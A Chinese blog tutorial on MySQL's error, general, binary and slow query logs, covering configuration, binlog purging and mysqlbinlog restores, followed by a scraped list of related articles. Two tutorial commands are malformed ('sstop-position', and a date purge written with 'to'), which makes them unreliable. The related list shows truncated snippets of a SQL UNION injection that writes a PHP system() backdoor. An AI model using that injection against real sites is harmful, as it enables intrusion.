mysql的日志类型及作用

当服务起不来或者报错的时候,我们第一时间想到的就是日志,日志这个东西记载了许多重要的信息,有利于我们排除故障。当然,mysql也有日志。

先来说说,mysql日志的作用,当数据库遭到意外损坏,服务起不来等等,可以通过日志文件来拍错。

还可以利用日志文件来进行数据恢复。

一、日志的分类

1、错误日志:记录了mysql服务的启动,关闭和运行时发生的错误;

2、通用查询日志:记录用户的所有操作,包括启动、关闭服务,插入、查询等语句;

3、二进制日志:以二进制的形式记录了数据库中的操作,但不记录查询语句;

4、慢日志:记录了mysql 所有查询超时的语句

二、日志设置1、除了二进制日志,其他都是文本文件2、日志文件通常存储在Mysql数据目录下3、默认只启动了错误日志功能,其他需要手工启动4、但启动日志功能会降低Mysql的执行速度,因为一条操作写进日志中是要花时间的

二进制日志

以二进制文件的形式记录了数据库的操作,但是不记录查询语句,也叫变更日志

启动与设置二进制日志,在mysql配置文件中添加[root@localhost data]# cat /etc/my.cnf

log-bin = /data/mysql-bin

启动与设置二进制日志:在Mysql的配置文件中,log-bin=DIR/filenameDIR是存放二进制日志的目录;每启动一次Mysql,该目录下就会生成一个filename.00000x的文件;目录下还有一个filename.index的文件,用于存储所有二进制文件清单;如果我们没有设置DIR和filename,则默认在数据目录下以hostname-bin.00000x命名

去到/data目录下查看是否有文件生成

[root@localhost ~]# cd /data/

[root@localhost data]# ls

aria_log.00000001  ibdata1      ib_logfile1  mysql-bin.000001  performance_schema  xhk

aria_log_control   ib_logfile0  mysql        mysql-bin.index   test

临时停止与启动二进制日志MariaDB [(none)]>  set sql_log_bin=0; 停止

MariaDB [(none)]>  set sql_log_bin=1; 启动

注意:二进制日志文件与数据库数据文件最好不要放在同一块硬盘上,如果存放数据文件的硬盘坏了,可以用另一块硬盘的二进制日志来恢复数据

查看二进制日志

[root@localhost data]# mysqlbinlog mysql-bin.000001

删除二进制日志

删除所有MariaDB [(none)]> reset master;

删除00004之前的所有MariaDB [(none)]> purge master logs to 'mysql-bin.000004';

删除指定日期时间之前的所有MariaDB [(none)]> purge master logs to '2016-08-10 15:00:00';

使用二进制日志还原数据库

[root@localhost data]# mysqlbinlog mysql-bin.000001 | mysql -u root -p

[root@localhost data]# mysqlbinlog mysql-bin.000002 | mysql -u root -p

这条命令可以理解为:使用mysqlbinlog读取二进制日志文件然后使用mysql命令还原到数据库中

注意还原时必须是编号小的先还原

还可以制定你想恢复的时间点

[root@localhost data]# mysqlbinlog --start-position="213" sstop-position="456" mysql-bin.000001 | mysql -u root -p

数值为二进制文件中的pos号

========================================================================

错误日志

主要用于记录Mysql服务的开启、关闭和错误信息,若服务启动不成功第一件事应该就是去看这个错误日志

错误日志是默认开启的,且错误日志无法被关闭

设置错误日志:在配置文件中,log-error=DIR/filename[root@localhost ~]# cat /etc/my.cnf

log-error = /data/mysql-error.log

======================================================================

通用查询日志

用来记录用户的所有操作:启动和关闭mysql、更新语句、查询语句

启用和设置通用查询日志:配置文件中,log=DIR/filename

============================================================================

慢查询日志

记录执行时间超过指定时间的执行语句

启动和设置慢查询日志:在配置文件中

log-slow-queries=DIR/filename

long_query_time=n   #设置时间为n秒,默认为10s

删除日志

mysqladmin -u root -p flush-logs

MySQL日志的类型和实现方法_mysql的日志类型及作用相关推荐

  1. 利用mysql上传木马_通过Mysql语句生成后门木马的方法_MySQL

    通过Mysql 的语句生成后门木马的方法! SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656 ...

  2. mysql上传木马_通过Mysql语句生成后门木马的方法_MySQL

    通过Mysql 的语句生成后门木马的方法! SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656 ...

  3. mysql远程连接数据库的二种方法_mysql 远程连接数据库的二种方法

    mysql 远程连接数据库的二种方法 一.连接远程数据库: 1.显示密码 如:MySQL 连接远程数据库(192.168.5.116),端口"3306",用户名为"roo ...

  4. mysql锁表问题的解决方法_MYSQL锁表问题的解决方法

    本文实例讲述了MYSQL锁表问题的解决方法.分享给大家供大家参考,具体如下: 很多时候!一不小心就锁表!这里讲解决锁表终极方法! 案例一 mysql>show processlist; 参看sq ...

  5. mysql服务器的线程数查看方法_MySQL服务器线程数的查看方法详解

    本文实例讲述了MySQL服务器线程数的查看方法.,具体如下: mysql重启命令: /etc/init.d/mysql restart MySQL服务器的线程数需要在一个合理的范围之内,这样才能保证M ...

  6. mysql死锁的原因及解决方法_mysql死锁的原因及解决方法

    大家好,我是时间财富网智能客服时间君,上述问题将由我为大家进行解答. mysql死锁的原因及解决方法如下: 1.一个用户A访问表A(锁住了表A),然后又访问表B:另一个用户B 访问表B(锁住了表B), ...

  7. xampp修改mysql密码_XAMPP环境下mysql的root用户密码修改方法_MySQL

    XAMPP 最近有客户忘记了mysql的root用户密码,使用mysqld_safe无法正常启动mysql,也没有办法按照mysql manual中的方法修改root密码. 网页教学网站长注:今天有学 ...

  8. mysql int类型需要指定长度_mysql中整数类型后面的数字,是不是指定这个字段的长度?比如int(11),11代表11个字节吗?...

    原先对mysql不太理解,但也没有报错.但理解的不够深入.这次补上. 原来以为int(11)是指11个字节,int(10)就是10个字节.我错了. http://zhidao.baidu.com/li ...

  9. mysql中索引类型索引方法_MYSQL索引的类型和索引的方式

    索引的类型: normal:表示普通索引 unique:表示唯一的,不允许重复的索引,如果该字段信息保证不会重复例如身份证号用作索引时,可设置为unique full textl: 表示 全文搜索的索 ...

最新文章

  1. WPF的Timer控件的使用
  2. boa支持https_Boa: 在 Node.js 中使用 Python
  3. java 浮点数精度_Java中浮点数精度问题
  4. 手机号码、获得当前时间,下拉框,填写限制
  5. OO第三次博客总结作业
  6. Python 简单网页爬虫学习
  7. 网课老师凭什么年薪200万?
  8. HDU2046 骨牌铺方格【递推】
  9. Visual Studio配置(4):项目属性页-VC++目录
  10. Xposed模拟位置
  11. 查看已有的docker镜像latest的具体版本号
  12. 日记app(1.0)进展报告
  13. native react 折线图_【详解】纯 React Native 代码自定义折线图组件(译)
  14. 如何使用JavaScript导入和导出Excel文件
  15. 迅时MX8(FXO)8口语音网关连接Elastix+服务器配置
  16. iOS 微信分享整理 - 自定义分享菜单
  17. c#语言编写成绩代码是,在C#中的分数
  18. matlab产生时间数组以月为单位_MATLAB的时间与日期
  19. Odoo丨如何在Odoo中修改HTML编辑工具栏?
  20. 虐我千百遍之NS3安装

热门文章

  1. mysql5.7.11无法启动_macos - mysql 5.7.11 启动报错
  2. MySQL的reset master
  3. vim golang 插件
  4. 《Spring参考手册》中定义了以下几个AOP的重要概念
  5. 闲话WPF之十八(WPF中的资源 [4] )
  6. 年薪 37 万+,挪威科技大学(NTNU)招募博士,利用 ML 和 AI 进行钢桥结构健康监测和损伤检测...
  7. “算法”的茧房,如何破局?
  8. 致盲目标检测算法,阿里清华发起 “对抗攻击” 挑战赛!
  9. CVPR 2020丨MAML-Tracker: 用目标检测思路做目标跟踪? 小样本即可得高准确率
  10. 可怕!微软AI:一张面部照片一段音频,完美生成头像演讲视频